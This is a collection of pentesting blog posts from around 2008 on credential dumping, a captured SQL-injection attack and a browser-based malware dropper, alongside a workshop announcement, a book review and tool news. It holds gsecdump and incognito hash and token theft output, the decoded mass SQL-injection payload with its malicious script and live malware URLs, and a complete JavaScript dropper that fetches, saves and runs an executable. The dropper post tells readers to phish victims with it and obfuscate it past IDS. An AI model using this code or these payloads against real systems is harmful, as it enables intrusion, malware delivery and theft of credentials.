Why Blog?

Richard Bejtlich has a really good blog post on his blog entitled "why blog".

He lists five things:

1. Blogging organizes thoughts.
   


2. Blogging captures and shares thoughts.
   


3. Blogging facilitates public self-expression.
   


4. Blogging establishes communities.
   


5. Blogging can contribute original knowledge faster than any other medium.
   

I'll let you read the blog for the discussion on the five things but I've really enjoyed blogging.

I mostly keep the blog as my note taking canvas (for notes I want to share with others) but RB's five reasons are reasons I blog as well.

Toorcon X Workshop

As I mentioned before, Joe and I are doing a Crash Course In Pentesting 2 day workshop at ToorconX

http://sandiego.toorcon.org/content/section/4/8/

Here's a piece from the description:

"This course will cover some of the newer aspects of pen-testing covering; Open Source Intelligence Gathering with Maltego and other Open Source tools, Scanning, Enumeration, Exploitation (Both remote and client-side) and Post-Exploitation relying heavily on the features included in the Metasploit Framework. We'll discuss our activities from both the Whitebox and Blackbox approach keeping stealth in mind for our Blackbox activities.

Web Application penetration testing will be covered as well with focus on practical exploitation of cross-site scripting (XSS), cross-site request forgery (CSRF), local/remote file includes, and SQL Injection."

But I wanted to give a few more details.

Day 1 is network level pentesting and Day 2 is web application pentesting.

Network level is mostly my responsibility and I'll be focusing on black box information gathering, client side attacks, and post exploitation. Its hard to cover pentesting in a day, so I'll be talking heavily on client side attacks and how to implement those into your pentests and some of the tools you'll need to do it. A little bit on local/priv escalation attacks that you'll need to do once you have that userland shell and post exploitation. There is also a block on metasploit and the students will take home a copy of LSO's Metasploit Mini Course.

Web application is Joe's responsibility and it should be really good. We've had a custom web app built with vulnerabilities intentionally built in. So the students will be able run the tools he is going to discuss and then exploit the vulnerabilities they find. They also get to take the VM home with them.

If you have questions feel free to post up or email me with them.

passing the hash with gsecdump and msvctl (yes more)

So just a follow up post on gsecdump and msvctl after doing prep for post exploitation topics for the toorcon workshop.

For some reason I thought that gsecdump would not require admin privileges, this is incorrect it will require admin or system on the box. What it doesn't require is injecting into lsass to get the hashes (at least according to here).

"Most notable features are extracting password hashes for active logon sessions, LSA secrets without injecting into lsass.exe making it safe to run on any system and pwdump functionality without DLL injection (and a lot more stable). Gsecdump has no DLL dependency making it very easy to use on remote systems with psexec. If it for some reason can't do what it is supposed to, try running it as SYSTEM and you should get your info."

OK, so you still need admin or higher but the cool thing (and I have already covered this) is that it dumps the hashes for active logon sessions. Now, the key to to that is active logon sessions. So if you are userland and admin or higher then you might be stuck with that user's hash because once the log out the active logon session hash seems to disappear (sometimes ??) but if you get a system shell you might get some of the old logged in users.

example:
#popped a system shell and got a command shell with meterpreter

C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

#logged into the box as nobody

C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
XPSP1VM\nobody::e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Logged out as nobody
C:\Documents and Settings\nobody\Desktop>gsecdump -u
gsecdump -u
MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Once nobody logs out, things were back to where they were. This is an important distinction between gsecdump/msvctl and token stealing. But, once you have a hash, any user can use that hash where you have to be admin/system to pass tokens.

Let's see the same scenario with incognito

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

#login as nobody
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
XPSP1VM\nobody

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

#log out as nobody
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
XPSP1VM\nobody

meterpreter > impersonate_token XPSP1VM\\nobody
[-] No delegation token available
[+] Successfully impersonated user XPSP1VM\nobody
meterpreter > getuid
Server username: XPSP1VM\nobody
meterpreter > rev2self
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Lastly, like I already mentioned in the other msvctl post, you have to actually be sitting on the box to get your new shell with the user's creds you passed because it pops up a whole new command shell. Which is kind of a bummer, with a remote shell. You'll have to use the pass the hash toolkit instead.

Some other reading on gsecdump and msvctl
http://blogs.pointbridge.com/Blogs/seaman_derek/Pages/Post.aspx?_ID=20
http://ciac.llnl.gov/ciac/techbull/CIACTech08-002.shtml

http://truesecurity.se/blogs/murray/archive/2007/06/08/my-sec-310-sesson-on-teched-us-2007-is-now-available-as-a-webcast.aspx

Also I was doing some googling on pass the hash and came across this post in reference to the pass the hash problem, best part in bold.

http://www.eggheadcafe.com/software/aspnet/30890366/hash-injection-mitigation.aspx
best quote:

"Hash injection mitigation? - Steve Riley [MSFT] <06-oct-07 style="font-weight: bold;">In either case, you need to become admin of the computer before you can force the compromised machine to release its hashes from memory, which lessens the likelihood of success. And if you did manage to become admin, there are fare more interesting attacks that you'd want to attempt. By the way, sniffing a network connection won't reveal hashes. In other words, there's nothing new here, and very little that you need to worry about."

I don't know, going from a local admin on a box to domain admin is pretty interesting to me...

Mike Murray on Human Exploitation 101

http://www.ethicalhacker.net/content/view/209/1/

From the article:

"This is going to be all about dealing face-to-face (or voice-to-voice or text-to-text) with real live people and exploiting the natural tendency to trust.

Of course, this skill underpins everything else that we do when on a social-engineering engagement - in order to impersonate a UPS guy, talk someone out of their password, write a great targeted phishing email, or know exactly where to drop the USB keys - you have to have great skills at exploiting the natural tendencies of humans.

This means a deep understanding of the three fundamental skills (that I have mentioned often in introductory talks and articles on this topic) - the ability to communicate, the ability to be aware of your surroundings, and your ability to control the context (or "cognitive frame") of your interaction."

Human 0days are promised in the future!

cute...

checking web logs...

71.191.45.109 - - [30/Aug/2008:19:06:39 +0000] "GET /hack/brutessh2.c?';DECLARE%
20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420766172636861722832353529
2C40432076617263686172283430303029204445434C415245205461626C655F437572736F722043
5552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E
6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E7874797065
3D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20
5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3029204245
47494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D27
27223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568
756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40
432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E
3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F637372
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F
4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520546162
6C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4
000));EXEC(@S); HTTP/1.1" 501 291 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Window
s NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"

Decodes to:
DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id an?? a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@F??TCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''">//script src="hxxp://www0.douh??nqn.cn/csrss/w.js"//script////!--''+['+@??+'] where '+@C+' not like ''%"//script src="hxxp://www0.douhunqn.cn/csr??s/w.js"//script//!--''')FETCH NEXT FRO?? Table_Cursor INTO @T'@C END CLOSE Tab??e_Cursor DEALLOCATE Table_Cursor

the java:

window.onerror=function()
{
document.write("//iframe width="0" height="0" src="hxxp://www0.douhunqn.cn/csrss/new.htm">//iframe>");
return true;
}
if(typeof(js2eus)=="undefined")
{
var js2eus=1;

var yesdata;
yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent);
document.write('//iframe marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" scrolling="no" src="hxxp://count41.51yes.com/sa.aspx?id="419214144'+yesdata+'" height="0" width="0">//iframe>');


document.write("//iframe width="0" height="0" src="hxxp://www0.douhunqn.cn/csrss/new.htm">//iframe>");

}

function y_gVal(iz)
{var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);}
function y_g(name)
{var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(iyesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}}

new.htm is nice:

launches several iframes that launch several other attacks. very nice. I'll let you pull down that code.

hxxp://www0.douhunqn.cn/csrss/lzx.htm
hxxp://www0.douhunqn.cn/csrss/IERPCtl.IERPCtl.1
hxxp://www0.douhunqn.cn/csrss/real11.htm
hxxp://www0.douhunqn.cn/csrss/real10.htm
hxxp://www0.douhunqn.cn/csrss/S.S
hxxp://www0.douhunqn.cn/csrss/Bfyy.htm --> Storm Player Exploit

The only exploit that was there was the real11.htm one :-(

new.htm also serves up:
//iframe src=hxxp://www.ppexe.com/csrss/06014.htm width=100 height=0>
//iframe src=hxxp://www.ppexe.com/csrss/flash.htm width=100 height=0>
//Iframe src=hxxp://www.ppexe.com/csrss/net.htm width=100 height=0>
//Iframe src=hxxp://www.ppexe.com/csrss/ff.htm width=100 height=0>

that malware with the .exe's are still available

there is a good write up of most of the code here

http://blogs.technet.com/mmpc/archive/2008/08/28/a-normal-day-at-the-office.aspx

Setting up my "slice" from slicehost

If you are looking to have your own box and get your hands dirty with Linux administration then slicehost is a great option for you.

My last hosting company didn't allow me access to log files and were just an overall pain to work with. I can tell you that if Alan Shimel had had my hosting company the guys that took over his domain probably wouldn't have had the patience to wait out what it took me to move mine...anyway I digress.

Slicehost is great, here is a breakdown of their plans:

RAM PRICE HD BW

	256 slice	$20.00	10GB	100GB
	512 slice	$38.00	20GB	200GB
	1GB slice	$70.00	40GB	400GB
	2GB slice	$140.00	80GB	800GB
	4GB slice	$280.00	160GB	1600GB

You start with a slimmed down version of one of the following OS's"

Arch 2007.08
CentOS 5.2
Debian 4.0 (etch)
Fedora 9
Gentoo 2008.0
Ubuntu 7.10 (gutsy)
Ubuntu 8.04.1 LTS (hardy)

My Ubuntu install was only about half a gig, so I had plenty of space for the carnal0wnage site even though the blog really takes all the traffic. I'm not going to do a lockdown guide, there are so many on the net, but you basically SSH in (also has a web console if you get locked out) and start "apt-getting" what you need to set up your box they way YOU want it. You also have full reboot privileges or if you really hose up your install you can just reformat.

Things I did:

installed stuff I probably don't need :-)
locked down sshd
installed apache2 and modsecurity
configured DNS for web and google mail
installed and configured denyhosts
started tweaking iptables rules

You can't beat 20 bucks a month for an IP and root on your own box ;-)

They also have an API so you can script management and status tasks
http://articles.slicehost.com/2008/5/13/slicemanager-api-documentation

Extra Help
http://cactuswax.net/articles/slicehost-configuration/
http://www.usefuljaja.com/2007/4/setting-up-your-domain
http://www.vinno.net/linux/server/how-to-install-mod-security-2

Owning the Client without an Exploit

So after a long hiatus of no posts I figured it was time to step up and post something that may be of interest to pentesters. In the spirit of continuity to some previous posts about client-side attacks and as a follow up to some discussions that Chris and I have been having, this post will be about Client-side Ownage.

It's nothing groundbreaking but may have a place in your arsenal of tools and attack vectors. What do you do when all those cool client-side attacks in Metasploit fail? Damn those companies that patch 3rd party products. As shown in the previous posts it's still possible to gather a great deal of information about the remote user, host and network using PHP and some Java but what do you do when you need a foothold on that host to pivot further into the network?

Enter the Dropper. Using JavaScript and Microsoft's XMLHTTPRequest Object it is possible to download and run your backdoor with just a little interaction from the victim. The XMLHTTPRequest Object, a core component of AJAX, provides support for client-side communication with a HTTP server. A user can make use of the XMLHTTP Object to send a request and have the XML DOM parse that request. Great if you have data such as XML that you need to parse and display on a page for example.

What about requesting another file type like, oh I don't know, an exe? This might have some value. :) Lets take a look at a JavaScript function to do just that.

First we need to create our object elements and the required attributes needed to download and execute the file we want:

function dropper() {

var x = document.createElement('object');
x.setAttribute('id','x');
x.setAttribute('classid','clsid:D96C556-65A3-11D0-983A-00C04FC29E36');

try {
var obj = x.CreateObject('msxml2.XMLHTTP','');
var app = x.CreateObject('Shell.Application','');
var str = x.CreateObject('ADODB.stream','');

We use document.createElement to create an element and use it in conjunction with setAttribute to modify the attributes of each new element. The classid in use is a Remote Data Service object. It allows the execution of code from a remote source. Search your registry and you'll see that it is assigned to RDS.DataSpace, a non-visual ActiveX control, which handles remote data connections. This function is part of Microsoft's MDAC.

We create our msxml2.XMLHTTP object which will handle communication with the web server that is hosting our executable.

Then we use the Object element to instantiate a Shell Object which is identified by the CLASSID.

The ADODB.Stream object in ActiveX, which contains methods to manage a stream of binary data or text, is used to handle the storing and saving of the data to a file.

Now let's grab the file, install it to a directory of our choice and run it.

try {
str.type = 1;
obj.open('GET','http://coolsite.com//innocent.exe',false);
obj.send();
str.open();
str.Write(obj.responseBody);
var path = './/..//svchosts.exe';
str.SaveToFile(path,2);
str.Close();
}
catch(e) {}

First we use the Type property to set the type of data in the stream object. 1 is for Binary.

Next we use the XMLHTTPRequest Open Method intialize an MSXML2.XMLHTTP request in which we specify the retrieval method, URL and authentication information if any. The XMLHTTPRequest Send Method allows us to send the HTTP request to the server.

The ADODB.stream Open Method is used to create and open a Stream opject. The ADODB.stream Write Method is used to write the binary data to a binary Stream object. After specifying the path we now use the ADODB.stream SaveToFile method is used to save contents of our open Stream object to a local file of our choosing. In this case we use am option value of 2 that overwrites the file if it already exists. We then close the object.

The next step is to use our Shell Object to execute our newly downloaded executable using the shellexecute function.

try {
app.shellexecute(path);
}
catch(e) {}
}
catch(e) {}
}

Place this code in a webpage either directly or through an include, create a good phishing email (see other posts) and send it off to your victims. Before anyone makes mention that this requires ActiveX to run remember that enough users will allow ActiveX controls to be run for it to be useful. On I.E. 6 this should perform a silent download and on I.E. 7 it will prompt the user.

You can add additional code to the page to check the browser version and prompt the user to either change to IE or have a direct link to the file for the user to click and run. Remember it just takes one user that follows the link to give you access.

One other thing to consider is IDS/IPS evasion. The code above will likely get flagged by an IDS in the form it is now. Look at JavaScript obfuscation techniques such as 'string-splitting', arguments.callee() and other methods to evade the IDS or just hide your code.

Variants of this method we have just discussed are actually widely used by malware authors on their sites to drop files onto users systems. Have a look at the next spam email you get and decode the JavaScript on the page.

Cheers,

BGP Eavesdropping

From Wired:

Two security researchers have demonstrated a new technique to stealthily intercept internet traffic on a scale previously presumed to be unavailable to anyone outside of intelligence agencies like the National Security Agency.

The tactic exploits the internet routing protocol BGP (Border Gateway Protocol) to let an attacker surreptitiously monitor unencrypted internet traffic anywhere in the world, and even modify it before it reaches its destination.

The man-in-the-middle attack exploits BGP to fool routers into re-directing data to an eavesdropper's network.

Anyone with a BGP router (ISPs, large corporations or anyone with space at a carrier hotel) could intercept data headed to a target IP address or group of addresses. The attack intercepts only traffic headed to target addresses, not from them, and it can't always vacuum in traffic within a network -- say, from one AT&T customer to another.

The method conceivably could be used for corporate espionage, nation-state spying or even by intelligence agencies looking to mine internet data without needing the cooperation of ISPs.

http://blog.wired.com/27bstroke6/2008/08/revealed-the-in.html

2nd post on it
http://blog.wired.com/27bstroke6/2008/08/how-to-intercep.html

slides from Defcon: https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-pilosov-kapela.pdf

Book Review: The IDA Pro Book

I was able to pick up a pre-released copy of The IDA Pro book at Defcon in the vendor area, thanks to Adam from No Starch. This book is not an introduction to reverse engineering, its a hard core manual for IDA Pro. IDA Pro is a critical weapon in any reverser's arsenal, so proficiency in this tool is paramount to your success in reverse engineering. If you are new to IDA Pro you need this book, even if you've been working with IDA for a while you will more than likely learn quite a few things after reading it. Unlike the two other books I've read on IDA Pro this book has no fluff or filler, its solid information! The funny thing when comparing it to the other two IDA books is its thicker than both combined, and contains an exponentially larger amount of information.

The author takes time to explain things in a very clear manner as you walk through from an introduction to the tool to more advanced usage such as customizing, extending IDA, debugging, and dealing with obfuscated code. The author answered questions I had been spent weeks asking and searching the Internet for.


Likes:

Just about everything. The author walks you through plenty of code and discusses scenarios where you could apply the information he is giving you. The fact that he took his time to elaborate on why, and when you might use a piece of information is unlike many authors whom will give you information and leave the reader wondering "What would I use that for".

This book does not just talk about Win32 and Portable Executable format, ELF binaries have a continual guest appearance throughout the book, and firmware/binaries are mentioned in numerous chapters.

Side bar elaboration is kept to a minimum, I often find in texts that an author will go on about background information that does not add anything significant to what I am reading. Chris Eagle keeps this to a minimum adding small side bars when necessary but only take up a small amount of real estate.


Dislikes

My only dislike of this book was the use of PE format as the example in chapter 18 – Binary Files and Ida Loader modules. Despite the use of a well known format chosen for this example the concepts were clearly displayed. I think it would have made it more interesting if the author had used a lesser known format, or do as the author of "Reversing, Secrets of Reverse Engineers" did and create his own binary.


-Phn1x

Senspost reDuh released

Finally!

I've been waiting to play with this tool since the presentation at Defcon. Tunneling TCP through well formed HTTP which decodes it on the other end back into TCP is a pretty handy option.

"What Does reDuh Do?
reDuh is actually a tool that can be used to create a TCP circuit through validly formed HTTP requests.

Essentially this means that if we can upload a JSP/PHP/ASP page on a server, we can connect to hosts behind that server trivially"

Here's the link(s).
http://www.sensepost.com/blog/2399.html

http://www.sensepost.com/research/reDuh/

expect some more info soon.